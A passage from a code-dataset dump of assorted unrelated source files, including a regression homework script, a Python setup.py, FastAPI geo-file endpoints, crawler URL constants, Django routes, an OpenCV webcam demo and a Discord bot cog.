coefficient\r\nalpha = 0.09 # step size coefficient\r\neps = 0.000001 # controls convergence criterion\r\nn_epoch = 15000 # number of epochs (full passes through the dataset)\r\n\r\n# begin simulation\r\n\r\n# Tip0: Use tf.function --> helps in speeding up the training\r\n# Example\r\n\r\n#@tf.function\r\n#def regress(X, theta):\r\n#\t# WRITEME: write your code here to complete the routine\r\n#\t# Define your forward pass\r\n#\treturn -1.0\r\n\r\ndef regress(X, theta):\r\n\t# WRITEME: write your code here to complete the routine\r\n\t# Define your forward pass\r\n\tresult = theta[0] + np.matmul(X,theta[1].transpose())\r\n\treturn result\r\n\r\ndef gaussian_log_likelihood(mu, y):\r\n\t# WRITEME: write your code here to complete the sub-routine\r\n\t# Define loss function\r\n\tresult = np.sum(np.power(mu-y,2))\r\n\treturn result\r\n\t\r\ndef computeCost(X, y, theta, beta): # loss is now Bernoulli cross-entropy/log likelihood\r\n\t# WRITEME: write your code here to complete the routine\r\n\t# Cost function is also known as loss function \r\n# import pdb\r\n\tm = len(y)\r\n# import pdb\r\n# pdb.set_trace()\r\n\tfun = regress(X,theta)\r\n\ta = (beta/(2*m))*np.sum(np.power(theta[1],2))\r\n\tresult = (1/(2*m))*gaussian_log_likelihood(fun,y)+a\r\n # function call from above for gaussian log likelihood\r\n\treturn result \r\n \r\n\t\r\n\t\r\ndef computeGrad(X, y, theta, beta): \r\n\t# WRITEME: write your code here to complete the routine\r\n\t# NOTE: you do not have to use the partial derivative symbols below, they are there to guide your thinking)\r\n m = len(y)\r\n fun = regress(X,theta)\r\n dL_dfy = -(1/m)*np.sum(X) # derivative w.r.t. to model output units (fy)\r\n dL_db = (1/m)*np.sum(fun-y) # derivative w.r.t. model weights w\r\n dL_dw = (1/m)*np.sum(np.multiply(fun-y,X),axis=0)# derivative w.r.t model bias b\r\n dL_dw_reg = (beta/m)*theta[1]\r\n nabla = (dL_db, dL_dw+dL_dw_reg) # nabla represents the full gradient\r\n\t# You can also use gradient tape and replace this function\r\n return nabla\r\n\r\n\r\npath = os.getcwd() + '/data/prob2.dat' \r\ndata = pd.read_csv(path, header=None, names=['X', 'Y']) \r\n# Tip1: Convert .dat into numpy and use tensor flow api to process data\r\n# display some information about the dataset itself here\r\n# WRITEME: write your code here to print out information/statistics about the data-set \"data\" \r\nprint(\"Number of samples: {}\".format(data.shape[0]))\r\nprint(\"Dimension of sample: {}\".format(data.shape[1]-1))\r\n\r\n# WRITEME: write your code here to create a simple scatterplot of the dataset itself and print/save to disk the result\r\nplt.figure()\r\nplt.title(\"Sample Scatter plot of Data\")\r\nplt.scatter(data.iloc[:,0],data.iloc[:,1]) \r\n#plt.scatter(X[:,0],regress(X,theta))\r\nplt.show()\r\n\r\n\r\n# set X (training data) and y (target variable)\r\ncols = data.shape[1] \r\nX = data.iloc[:,0:cols-1]\r\ny = data.iloc[:,cols-1:cols]\r\n \r\n#plt.figure()\r\n#plt.scatter(X,y) \r\n#plt.show()\r\n\r\n# convert from data frames to numpy matrices\r\nX = np.array(X.values) \r\nfor d in range(degree-1):\r\n X = np.concatenate((X,np.power(X[:,0:1],d+2)),axis = 1)\r\n\r\ny = np.array(y.values)\r\n\r\n#TODO convert np array to tensor objects if working with Keras\r\n# convert to numpy arrays and initalize the parameter array theta \r\nw = np.zeros((1,X.shape[1]))\r\nb = np.array([0])\r\ntheta = (b, w)\r\n### Important please read all comments\r\n### or use tf.Variable to define w and b if using Keras and gradient tape\r\nL = computeCost(X, y, theta,beta)\r\nprint(\"-1 L = {0}\".format(L))\r\nL_best = L\r\ni = 0\r\ncost = [] # you can use this list variable to help you create the loss versus epoch plot at the end (if you want)\r\n\r\n\r\n\r\nwhile(i < n_epoch):\r\n\tdL_db, dL_dw = computeGrad(X, y, theta, beta)\r\n\tb = theta[0]\r\n\tw = theta[1]\r\n\t# update rules go here...\r\n\t# WRITEME: write your code here to perform a step of gradient descent & record anything else desired for later\r\n\tb = b-(alpha*dL_db)\r\n\tw = w-(alpha*dL_dw)\r\n\ttheta = (b,w)\r\n\t# (note: don't forget to override the theta variable...)\r\n\tL = computeCost(X, y, theta,beta) # track our loss after performing a single step\r\n\t# Use function \r\n\tprint(\"For the epoch %i -- L = %f -- b = %f -- \"%(i,L,b))\r\n\tprint(\"the values of w are as follows\")\r\n\tprint(w)\r\n\ti += 1\r\n\r\n\tcost.append(L)\r\n \r\n\tif len(cost)>1:\r\n\t if abs(cost[-1] - cost[-2]) < eps:\r\n\t break\r\n\t# print parameter values found after the search\r\n\t#print W\r\n \r\n \r\n\r\n#print b\r\n#Save everything into saver object in tensorflow\r\n#Visualize using tensorboard\r\nkludge = 0.25 # helps with printing the plots (you can tweak this value if you like)\r\n# visualize the fit against the data\r\n\r\n# WRITEME: write your code here to save plot to disk (look up documentation/inter-webs for matplotlib)\r\nplt.figure()\r\nplt.title(\"fit against the data\")\r\nplt.scatter(X[:,0],y,label=\"raw data\") \r\nplt.scatter(X[:,0],regress(X,theta),label=\"predicted\")\r\nplt.legend(loc=\"best\")\r\nplt.show()\r\nprint(\"\\t\\t alpha:{0}, eps:{1}, beta:{2}\".format(alpha,eps,beta))\r\n# visualize the loss as a function of passes through the dataset\r\n# WRITEME: write your code here create and save a plot of loss versus epoch\r\nplt.figure()\r\nplt.title(\"loss against epochs\")\r\nplt.scatter(range(len(cost)),cost,label=\"loss\") \r\nplt.legend(loc=\"best\")\r\nplt.show()\r\nprint(\"\\t\\t alpha:{0}, eps:{1}, beta:{2}\".format(alpha,eps,beta))\r\n\r\n# plt.show() # convenience command to force plots to pop up on desktop\r\n","sub_path":"HW1/prob2_fit.py","file_name":"prob2_fit.py","file_ext":"py","file_size_in_byte":6713,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"372477141","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# vim: ts=4 et sw=4 sts=4 ft=python fenc=UTF-8 ai\n# setup.py\n\nimport sys\nfrom setuptools import setup\nfrom setuptools.command.test import test as TestCommand\n\n\nclass PyTest(TestCommand):\n user_options = [('pytest-args=', 'a', \"Arguments to pass to py.test\")]\n\n def initialize_options(self):\n TestCommand.initialize_options(self)\n self.pytest_args = []\n\n def run_tests(self):\n # Import here, cause outside the eggs aren't loaded\n import pytest\n errno = pytest.main(self.pytest_args)\n sys.exit(errno)\n\n\nwith open('README.rst') as readme_file:\n readme = readme_file.read()\n\nwith open('HISTORY.rst') as history_file:\n history = history_file.read()\n\nrequirements = [\n 'PyYAML'\n]\n\ntest_requirements = [\n 'pytest',\n 'tox',\n 'responses',\n]\n\n# Add Python 2.6-specific dependencies\nif sys.version_info[:2] < (2, 7):\n requirements.append('argparse')\n\n# Add Windows-specific dependencies\nif sys.platform == 'win32':\n requirements.append('pywin32')\n\nsetup(\n name='pcrunner',\n version='0.1.8',\n description='Passive Check Runner',\n long_description=readme + '\\n\\n' + history,\n author='Simon Bavink',\n author_email='@SimonBavink',\n url='https://github.com/simonbavink/pcrunner',\n scripts=['scripts/check_dummy.py'],\n packages=[\n 'pcrunner',\n ],\n package_dir={'pcrunner': 'pcrunner'},\n entry_points={\n 'console_scripts': [\n 'pcrunner = pcrunner.main:main',\n ]\n },\n include_package_data=True,\n install_requires=requirements,\n license='ISCL',\n zip_safe=False,\n keywords='pcrunner',\n classifiers=[\n 'Development Status :: 4 - Beta',\n 'Environment :: Console',\n 'Intended Audience :: System Administrators',\n 'License :: OSI Approved :: ISC License (ISCL)',\n 'Natural Language :: English',\n 'Operating System :: POSIX',\n 'Programming Language :: Python :: 2',\n 'Programming Language :: Python :: 2.6',\n 'Programming Language :: Python :: 2.7',\n 'Programming Language :: Python :: 3',\n 'Programming Language :: Python :: 3.3',\n 'Programming Language :: Python :: 3.4',\n 'Programming Language :: Python :: 3.5',\n 'Topic :: Documentation :: Sphinx',\n 'Topic :: Utilities',\n ],\n test_suite='tests',\n tests_require=test_requirements,\n cmdclass={'test': PyTest},\n)\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":2466,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"224302438","text":"import socket\nimport sys\n\nBUFFER_SIZE = 128\n\nclass Listener:\n '''Class which is handling getting of new messages'''\n def __init__(self, connection):\n '''Constructor'''\n self.connection = connection\n self.counter = 0\n\n def get_message(self):\n '''Function which is listening and waiting for a message'''\n while True:\n data = self.connection.recv(BUFFER_SIZE)\n if data and len(data) >= 1:\n raw_data = data.decode('ascii')\n # print('R ========================== R')\n # print('TypeOfMessage-1|Temp|Hum|Pressure|In/Out')\n # print('TypeOfMessage-3|Fire|Gas|CO|In/Out')\n print(raw_data)\n #self.counter += 1\n self.connection.sendall('12'.encode())\n \n return raw_data\n else:\n return 'ERROR'\n","sub_path":"projects/communication/rpwifi/message_getting.py","file_name":"message_getting.py","file_ext":"py","file_size_in_byte":908,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"536164236","text":"import os\nimport uuid\nimport json\nfrom typing import Any, List\nfrom fastapi import APIRouter, Body, Depends, HTTPException, File, UploadFile\nfrom sqlalchemy.orm import Session\nfrom app import crud, models, schemas\nfrom app.api import get_db\nfrom app.core import (\n settings,\n set_policies,\n authorization,\n get_current_user,\n)\nfrom app.worker import create_mbtiles_task\n\nrouter = APIRouter()\npolicies = {\n \"geofiles:read_geo_files\": [\"owner\", \"manager\", \"contributor\", \"reader\"],\n \"geofiles:read_geofile_by_name\": [\n \"owner\",\n \"manager\",\n \"contributor\",\n \"reader\",\n ],\n \"geofiles:upload_geo_file\": [\"owner\", \"manager\", \"contributor\"],\n \"geofiles:update_geo_file\": [\"owner\", \"manager\"],\n \"geofiles:delete_geo_file\": [\"owner\", \"manager\"],\n}\nset_policies(policies)\n\n\n@router.get(\"/\", response_model=List[schemas.GeoFile])\ndef read_geo_files(\n organization_id: int,\n auth=Depends(authorization(\"geofiles:read_geo_files\")),\n db: Session = Depends(get_db),\n skip: int = 0,\n limit: int = 100,\n current_user: models.User = Depends(get_current_user),\n) -> Any:\n \"\"\"\n Retrieve geo files.\n \"\"\"\n geo_files = crud.geo_file.get_multi(\n db,\n organization_id=organization_id,\n user_id=current_user.id,\n skip=skip,\n limit=limit,\n )\n\n return geo_files\n\n\n@router.get(\"/{name}\", response_model=schemas.GeoFile)\ndef read_geofile_by_name(\n organization_id: int,\n auth=Depends(authorization(\"geofiles:read_geofile_by_name\")),\n *,\n db: Session = Depends(get_db),\n name: str,\n current_user: models.User = Depends(get_current_user),\n) -> Any:\n \"\"\"\n Retrieve geo files.\n \"\"\"\n geofile = crud.geo_file.get_by_name(db, name=name)\n\n if not geofile:\n raise HTTPException(\n status_code=404,\n detail=f\"The geofile with name {name} does not exist in the system\",\n )\n\n return geofile\n\n\n@router.post(\"/upload\", response_model=schemas.GeoFile)\nasync def upload_geo_file(\n organization_id: int,\n auth=Depends(authorization(\"geofiles:upload_geo_file\")),\n file: UploadFile = File(...),\n db: Session = Depends(get_db),\n current_user: models.User = Depends(get_current_user),\n):\n \"\"\"\n Upload a geo file\n \"\"\"\n try:\n filename_parts = os.path.splitext(file.filename)\n extension = filename_parts[1][1:]\n\n if not extension in settings.GEO_FILES_ALLOWED:\n raise HTTPException(status_code=415, detail=\"File format unsupported\")\n\n unique_name = uuid.uuid4()\n unique_filename = f\"{unique_name}.{extension}\"\n copy_filename = f\"{settings.UPLOADED_FILES_FOLDER}/{unique_filename}\"\n copy_file = await file.read()\n\n with open(copy_filename, \"wb\") as f:\n f.write(copy_file) # type: ignore\n\n geofile = models.GeoFile(\n name=str(unique_name),\n original_name=file.filename,\n extension=extension,\n user_id=current_user.id,\n organization_id=organization_id,\n )\n\n geofile_exists = crud.geo_file.get_by_checksum(db, checksum=geofile.checksum)\n\n if geofile_exists:\n os.remove(geofile.get_filepath(extended=False))\n raise HTTPException(\n status_code=400,\n detail=f\"The geofile with the {geofile.checksum} checksum already exists in the system.\",\n )\n\n if not geofile.is_valid():\n raise HTTPException(status_code=415, detail=\"File corrupt\")\n\n db.add(geofile)\n db.commit()\n finally:\n await file.close()\n\n return geofile\n\n\n@router.put(\"/\", response_model=schemas.GeoFile)\ndef update_geo_file(\n organization_id: int,\n auth=Depends(authorization(\"geofiles:update_geo_file\")),\n *,\n db: Session = Depends(get_db),\n geofile_in: schemas.GeoFileUpdate,\n current_user: models.User = Depends(get_current_user),\n) -> Any:\n \"\"\"\n Update geo file.\n \"\"\"\n name = geofile_in.name.__str__()\n geofile = crud.geo_file.get_by_name(db, name=name)\n\n if not geofile:\n raise HTTPException(\n status_code=404,\n detail=f\"The geofile with name {name} does not exist in the system\",\n )\n\n geofile = crud.geo_file.update(db, db_obj=geofile, obj_in=geofile_in)\n\n return geofile\n\n\n@router.delete(\"/{name}\")\ndef delete_geo_file(\n organization_id: int,\n auth=Depends(authorization(\"geofiles:delete_geo_file\")),\n *,\n name: str,\n db: Session = Depends(get_db),\n) -> Any:\n \"\"\"\n Delete one geofile\n \"\"\"\n\n geofile = crud.geo_file.get_by_name(db, name=name)\n\n if not geofile:\n raise HTTPException(\n status_code=404,\n detail=f\"The geofile with name {name} does not exist in the system\",\n )\n\n try:\n os.remove(geofile.get_filepath())\n except OSError:\n pass\n\n crud.geo_file.remove(db, id=geofile.id)\n create_mbtiles_task.delay(organization_id)\n\n return name\n","sub_path":"backend/app/app/api/api_v1/endpoints/geo_files.py","file_name":"geo_files.py","file_ext":"py","file_size_in_byte":5013,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"33121235","text":"import os\r\nimport pickle\r\nfrom math import log\r\n\r\n\r\ndef get_data_set(filename): # 读文件转换为二维列表数据\r\n with open(filename) as file:\r\n f = file.readlines()\r\n for i in range(len(f)):\r\n f[i] = f[i].strip().split('\\t')\r\n return f\r\n\r\n\r\ndef create_tree(data_set, axis_set, tree): # tree is the sub_dict\r\n if len(axis_set) == 0:\r\n result = {}\r\n for i in range(len(data_set)):\r\n result.setdefault(data_set[i][-1], 0)\r\n result[data_set[i][-1]] += 1\r\n result_ = []\r\n for i in result:\r\n result_.append([i, result[i]])\r\n result_.sort(key=lambda x: x[1], reverse=True)\r\n tree.setdefault('final', result_[0][0])\r\n return 0\r\n return_ = True\r\n for i in range(len(data_set)):\r\n if(data_set[i][-1] != data_set[0][-1]):\r\n return_ = False\r\n if return_:\r\n tree.setdefault('final', data_set[0][-1])\r\n return 0\r\n sub_data_set, axis = get_axis(data_set, axis_set) # node\r\n for j in sub_data_set:\r\n tree.setdefault(j, {})\r\n create_tree(sub_data_set[j], axis_set - set([axis]), tree[j])\r\n\r\n\r\ndef get_axis(data_set, axis_set):\r\n sub_data_set = [[], []]\r\n entropy = [1000, 1000]\r\n axis = 0\r\n for i in axis_set:\r\n sub_data_set[0], entropy[0] = cal_entropy(data_set, i)\r\n if entropy[0] < entropy[1]:\r\n entropy[1] = entropy[0]\r\n sub_data_set[1] = sub_data_set[0]\r\n axis = i\r\n for i in sub_data_set[1]:\r\n for j in range(len(sub_data_set[1][i])):\r\n sub_data_set[1][i][j] = data_set[sub_data_set[1][i][j]]\r\n return sub_data_set[1], axis\r\n\r\n\r\ndef cal_entropy(data_set, axis): # data_set is list of data\r\n record = {} # axis is available indexs(number)\r\n entropy = 0\r\n for i in range(len(data_set)):\r\n record.setdefault(data_set[i][axis], [])\r\n record[data_set[i][axis]].append(i)\r\n for i in record:\r\n sub_record = {}\r\n sub_entropy = 0\r\n for j in range(len(record[i])):\r\n sub_record.setdefault(data_set[record[i][j]][-1], 0)\r\n sub_record[data_set[record[i][j]][-1]] += 1\r\n for j in sub_record:\r\n sub_entropy -= sub_record[j] / \\\r\n len(record[i]) * log(sub_record[j] / len(record[i]), 2)\r\n entropy += len(record[i]) / len(data_set) * sub_entropy\r\n return record, entropy\r\n\r\nif __name__ == '__main__':\r\n data_set = get_data_set(\"lenses.txt\")\r\n result = {}\r\n result.setdefault('root', {})\r\n create_tree(data_set, set(range(len(data_set[0]) - 1)), result['root'])\r\n print(result)\r\n","sub_path":"decision_tree.py","file_name":"decision_tree.py","file_ext":"py","file_size_in_byte":2668,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"193544570","text":"\"\"\"\nTiki categories:\n'https://tiki.vn/dien-thoai-may-tinh-bang/c1789'\n'https://tiki.vn/phu-kien-dien-thoai/c8214'\n\nDienmayxanh\nhttps://www.dienmayxanh.com/dien-thoai\nhttps://www.dienmayxanh.com/phu-kien\n\nThegioididong\nhttps://www.thegioididong.com/aj/CategoryV5/Product\n42 dienthoaididong\nhttps://www.thegioididong.com/aj/AccessoryV4/HomeProduct\nhttps://www.thegioididong.com/aj/AccessoryV4/Product\n\nlazada\nhttps://www.lazada.vn/dien-thoai-di-dong/\nhttps://www.lazada.vn/phu-kien-dien-thoai-may-tinh-bang/?location=South,Ho%20Chi%20Minh,North,Hanoi\n\nvienthonga\nhttps://vienthonga.vn/Category/LoadMoreCate?cateid=152535&page=%s\nhttps://vienthonga.vn/linh-phu-kien-dien-thoai\n\n\"\"\"\nTIKI_CATEGORY = {\n 'dtdd': {\n 'name': 'tiki_dien-thoai-may-tinh-bang',\n 'url': 'https://tiki.vn/dien-thoai-may-tinh-bang/c1789'\n },\n 'phu_kien_dien_thoai':\n {\n 'name': 'tiki_phu-kien-dien-thoai',\n 'url': 'https://tiki.vn/phu-kien-dien-thoai/c8214'\n }\n}\n\n\nDMX_CATEGORY = 'dmx_dien-thoai'\nDMX_CAT_URL = 'https://www.dienmayxanh.com/dien-thoai'\n\nTGDD_DTDD = {\n 'rating_api': 'https://www.thegioididong.com/aj/ProductV4/RatingCommentList/',\n 'feature_api': 'https://www.thegioididong.com/aj/ProductV4/GetFullSpec/',\n 'dtdd': {\n 'name': 'tgdd_dtdd',\n 'api': 'https://www.thegioididong.com/aj/CategoryV5/Product',\n 'params': {\n 'Category': '42',\n 'PageSize': '30',\n 'PageIndex': '0'\n },\n },\n 'tainghe': {\n 'name': 'tgdd_tainghe',\n 'api': 'https://www.thegioididong.com/aj/AccessoryV4/Product',\n 'params': {\n 'Category': '54',\n 'Size': '20',\n 'Index': '0'\n },\n },\n 'pin_sac':\n {\n 'name': 'tgdd_pin_sac',\n 'api': 'https://www.thegioididong.com/aj/AccessoryV4/Product',\n 'params': {\n 'Category': '57',\n 'Size': '20',\n 'Index': '0'\n },\n },\n 'cap_sac':\n {\n 'name': 'tgdd_cap_sac',\n 'api': 'https://www.thegioididong.com/aj/AccessoryV4/Product',\n 'params': {\n 'Category': '58',\n 'Size': '20',\n 'Index': '0'\n },\n },\n 'chuot':\n {\n 'name': 'tgdd_chuot',\n 'api': 'https://www.thegioididong.com/aj/AccessoryV4/Product',\n 'params': {\n 'Category': '86',\n 'Size': '20',\n 'Index': '0'\n },\n },\n 'loa':\n {\n 'name': 'tgdd_loa',\n 'api': 'https://www.thegioididong.com/aj/AccessoryV4/Product',\n 'params': {\n 'Category': '382',\n 'Size': '20',\n 'Index': '0'\n },\n },\n\n}\n\n\nLAZADA_CATEGORY = {\n 'review_api': 'https://my.lazada.vn/pdp/review/getReviewList?itemId=%s&pageSize=5&filter=0&sort=0&pageNo=%s',\n 'dtdd': {\n 'name': 'lazada_dien-thoai-di-dong',\n 'url': 'https://www.lazada.vn/dien-thoai-di-dong/?ajax=true&page=',\n },\n 'phu_kien': {\n 'name': 'lazada_phu_kien',\n 'url': 'https://www.lazada.vn/phu-kien-dien-thoai-may-tinh-bang/?page='\n }\n}\n\nVTA_CATEGORY = {\n 'dtdd': {\n 'name': 'vta_dien-thoai-smartphones',\n 'url': 'https://vienthonga.vn/Category/LoadMoreCate?cateid=152535&page=%s'\n },\n 'phu_kien': {\n 'name': 'vta_phu_kien',\n 'url': 'https://vienthonga.vn/linh-phu-kien-dien-thoai'\n }\n}\n\nVTA_XML_NAMESPACE = 'http://schemas.datacontract.org/2004/07/WebApiPublic_V2.Models'\n","sub_path":"ecommerce_crawler/ecommerce_crawler/spiders/constants.py","file_name":"constants.py","file_ext":"py","file_size_in_byte":3478,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"219044633","text":"from django.conf.urls import patterns, include, url\nfrom django.contrib import admin\nfrom django.conf.urls.static import static\nfrom django.conf import settings\n\n# Uncomment the next two lines to enable the admin:\n# from django.contrib import admin\nadmin.autodiscover()\n\nurlpatterns = patterns('',\n # Examples:\n # url(r'^$', 'projectGET.views.home', name='home'),\n # url(r'^projectGET/', include('projectGET.foo.urls')),\n\n # Uncomment the admin/doc line below to enable admin documentation:\n # url(r'^admin/doc/', include('django.contrib.admindocs.urls')),\n\n # Uncomment the next line to enable the admin:\n # url(r'^admin/', include(admin.site.urls)),\n url(r'^$', 'projGET.views.login', name = 'default'),\n url(r'^login/$', 'projGET.views.login', name = 'login'),\n url(r'^invalid_login/$','projGET.views.invalid', name = 'invalid'),\n url(r'^logout/$','projGET.views.loggedout', name = 'loggedout'),\n url(r'^register/$','projGET.views.register', name = 'register'),\n url(r'^register_success/$','projGET.views.register_success', name = 'register_success'),\n\n url(r'^get/', include('GET.urls', namespace = 'get')),\n url(r'^admin/', include(admin.site.urls)),\n) +static(settings.STATIC_URL, document_root=settings.STATIC_ROOT)","sub_path":"projGET/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1267,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"319220399","text":"import sys\nsys.setrecursionlimit(10 ** 7)\ninput = sys.stdin.readline\n\nn = int(input())\na = list( map(int, input().split()))\n\nans=0\nup = 0\n\nfor i in range(n-1):\n if a[i] < a[i+1]:\n if up == -1:\n ans+=1\n up=0\n elif up==0:\n up=1\n elif a[i] > a[i+1]:\n if up == 1:\n ans+=1\n up=0\n elif up==0:\n up=-1\n\nans+=1\nprint(ans)\n","sub_path":"Python_codes/p03745/s357854195.py","file_name":"s357854195.py","file_ext":"py","file_size_in_byte":413,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"45880953","text":"import cv2\nimport datetime\n\ncapture = cv2.VideoCapture(0)\n\nprint(capture.get(cv2.CAP_PROP_FRAME_WIDTH))\nprint(capture.get(cv2.CAP_PROP_FRAME_HEIGHT))\n#capture.set(cv2.CAP_PROP_FRAME_WIDTH, 600)\n# capture.set(3,700)\n# capture.set(4,700)\n\n# print(capture.get(3))\n# print(capture.get(4))\n\nwhile (True):\n ret, frame = capture.read()\n if ret==True:\n cv2.line(frame, (0,0),(200,400),(255,0,23),2)\n cv2.arrowedLine(frame,(450,0),(340,555),(0,0,255),1)\n cv2.rectangle(frame,(0,340),(330,200),(0,255,0),2)\n cv2.circle(frame,(234,453),50,(34,0,45),2)\n cv2.putText(frame,\"Webcam\", (0,200), cv2.FONT_HERSHEY_COMPLEX,4,(255,0,0),6, cv2.LINE_AA)\n\n font = cv2.FONT_HERSHEY_COMPLEX_SMALL\n text_h_w = \"Width: \"+str(capture.get(3)) + \"Height: \"+str(capture.get(4))\n date = \"Webcam \" + str(datetime.datetime.now())\n frame = cv2.putText(frame, date, (190,40),font,1,(255,0,0),1,cv2.LINE_AA)\n \n # gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)\n cv2.imshow ('Lenas photo', frame)\n\n if cv2.waitKey(1) & 0xFF ==ord('q'):\n break\n else:\n break\n\ncapture.release()\ncv2.destroyAllWindows()\n","sub_path":"openCVcode/add_text_to_video.py","file_name":"add_text_to_video.py","file_ext":"py","file_size_in_byte":1179,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"332769616","text":"def findpre(s):\r\n\tpre = s[0][0]+s[0][1]\r\n\ti = 2\r\n\tp = 0\r\n\twhile(i<=len(s[0])):\r\n\t\tcount = 0\r\n\t\tfor string in s:\r\n\t\t\tf = 0\r\n\t\t\tif pre == string[0:i]:\r\n\t\t\t\tcount += 1\r\n\t\t\t\tf = 1\r\n\t\t\telse:\r\n\t\t\t\tif f==0 and p == 0:\r\n\t\t\t\t\tprint('No common prefix')\r\n\r\n\t\t\t\telse:\r\n\t\t\t\t\tprint('Common prefix : ' + pre[0:len(pre)-1])\r\n\t\t\t\texit()\r\n\t\t\t\t\r\n\t\tif count == len(s):\r\n\t\t\ti += 1\r\n\t\t\tp = 1\r\n\t\t\tpre = s[0][0:i]\r\n\tif f!=0:\r\n\t\tprint('Common prefix :' + pre)\r\n\t\r\ns = input('enter strings separated by \\',\\'')\r\ns = list(s.split(','))\r\ns = sorted(s,key=len)\r\nfindpre(s)\r\n","sub_path":"December-26/py_anuppriya_commonprefix.py","file_name":"py_anuppriya_commonprefix.py","file_ext":"py","file_size_in_byte":545,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"635177476","text":"import discord\nfrom discord.ext import commands\nfrom discord.ext.commands import cooldown\nfrom discord.ext.commands.cooldowns import BucketType\nimport time\nimport asyncio\nimport asyncpg\nfrom datetime import datetime\nfrom utils import errorhandler\nimport secrets\nfrom random import choice\n\nheads = '<:uwuheads:517079577072238624>'\ntails = '<:uwutails:517081802246979616>'\n\nclass uwus:\n def __init__(self, bot):\n self.bot = bot\n\n async def __local_check(self, ctx):\n if await self.bot.pool.fetchrow(\"SELECT * FROM user_settings WHERE user_id = $1\", ctx.author.id):\n return True\n\n raise(errorhandler.hasUwU(ctx))\n\n @commands.command(aliases=['coinflip'])\n async def coin(self, ctx, choice, amount:int):\n async with self.bot.pool.acquire() as conn:\n user_amount = await conn.fetchrow(\"SELECT * FROM user_stats WHERE user_id = $1\", ctx.author.id)\n choice = choice.lower()\n if amount < 50 or amount >= 50000:\n return await ctx.send(\"You may not bet less then 50 uwus or more than 50000 on a coinflip\")\n if choice != \"heads\" and choice != \"tails\":\n return await ctx.send(\"Please only use heads or tails\")\n if amount > user_amount['uwus']:\n return await ctx.send(\"You don't have the funds to bet that much\")\n\n status = await ctx.send(\"Flipping the coin...\")\n await asyncio.sleep(3)\n await status.delete()\n side = secrets.choice([\"heads\", \"tails\"])\n if side == \"heads\":\n emote = heads\n else:\n emote = tails\n\n if choice == side:\n await conn.execute(\"UPDATE user_stats SET uwus = user_stats.uwus + $1 WHERE user_id = $2\", amount, ctx.author.id)\n return await ctx.send(f\"{emote} You won {amount} uwus!\")\n else:\n await conn.execute(\"UPDATE user_stats SET uwus = user_stats.uwus - $1 WHERE user_id = $2\", amount, ctx.author.id)\n return await ctx.send(f\"{emote} You lost.\")\n\n @commands.command(description=\"Start a guessing game.\")\n async def guess(self, ctx):\n async with self.bot.pool.acquire() as conn:\n if await conn.fetchrow(\"SELECT * FROM guessing WHERE guild_id = $1 AND channel_id = $2\", ctx.guild.id, ctx.channel.id):\n return await ctx.send(\"There is already a guessing game in this channel.\")\n\n await conn.execute(\"INSERT INTO guessing (guild_id, channel_id, host_id) VALUES ($1, $2, $3)\", ctx.guild.id, ctx.channel.id, ctx.author.id)\n e = discord.Embed(description=\n\"\"\"\nWelcome to uwu's guessing game! To win guess the users name based off their avatar and discriminator(#0000) \nYou have 30 seconds to guess! Good luck!\n\"\"\")\n e.set_author(name=\"Guessing game\")\n\n members = [member for member in ctx.guild.members if member.id is not ctx.author.id and not member.bot]\n if len(members) < 15:\n return await ctx.send(\"You can only play guessing game if you are in a server with more then 15 members. Join uwus support server if you want to play but don't have 15 members.\")\n randmem = choice(members)\n\n e.add_field(name=\"Info\", value=f\"The users discriminator is {randmem.discriminator}. Hint: Thier name starts with {randmem.name[:1]}\")\n e.set_image(url=randmem.avatar_url_as(static_format=\"png\"))\n embed = await ctx.send(embed=e)\n\n def check(amsg):\n return amsg.content == randmem.name\n try:\n name = await self.bot.wait_for('message', timeout=30, check=check)\n except asyncio.TimeoutError:\n await embed.delete()\n await conn.execute(\"DELETE FROM guessing WHERE guild_id = $1 AND channel_id = $2\", ctx.guild.id, ctx.channel.id)\n return await ctx.send(f\"Times up! The user was {randmem.name}.\".replace('@','@\\u200b'))\n\n await conn.execute(\"DELETE FROM guessing WHERE guild_id = $1 AND channel_id = $2\", ctx.guild.id, ctx.channel.id)\n status = await conn.fetchrow(\"UPDATE user_stats SET uwus = user_stats.uwus + 50 WHERE user_id = $1 RETURNING True\", name.author.id)\n if status:\n await embed.delete()\n return await ctx.send(f\"{name.author} guessed correctly and got 50 uwus! It was {randmem.name}.\")\n\n await ctx.send(f\"{name.author} got it right but does not have an uwulonian. It was {randmem.name}.\")\n\ndef setup(bot):\n bot.add_cog(uwus(bot))","sub_path":"modules/uwus.py","file_name":"uwus.py","file_ext":"py","file_size_in_byte":4610,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"43364519","text":"import collections\nclass Solution:\n def removeStones(self, stones):\n ls = len(stones)\n stones = list(map(tuple, stones))\n dic = {}\n s = set(stones)\n for i, j in stones:\n dic[i] = dic.get(i, []) + [j]\n dic[j] = dic.get(j, []) + [i]\n\n def dfs(i, j):\n for y in dic[i]:\n if (i, y) not in s: continue\n s.remove((i, y))\n dfs(i, y)\n for x in dic[j]:\n if (x, j) not in s: continue\n s.remove((x, j))\n dfs(x, j)\n res = 0\n for i, j in stones:\n if (i, j) not in s: continue\n s.remove((i, j))\n dfs(i, j)\n res += ls - len(s) - 1\n ls = len(s)\n return res\n\nS = Solution()\ntest = S.removeStones( [[0,0],[0,1],[1,0],[1,2],[2,1],[2,2]])\nprint(test)","sub_path":"Project/Leetcode/Graph/947. Most Stones Removed with Same Row or 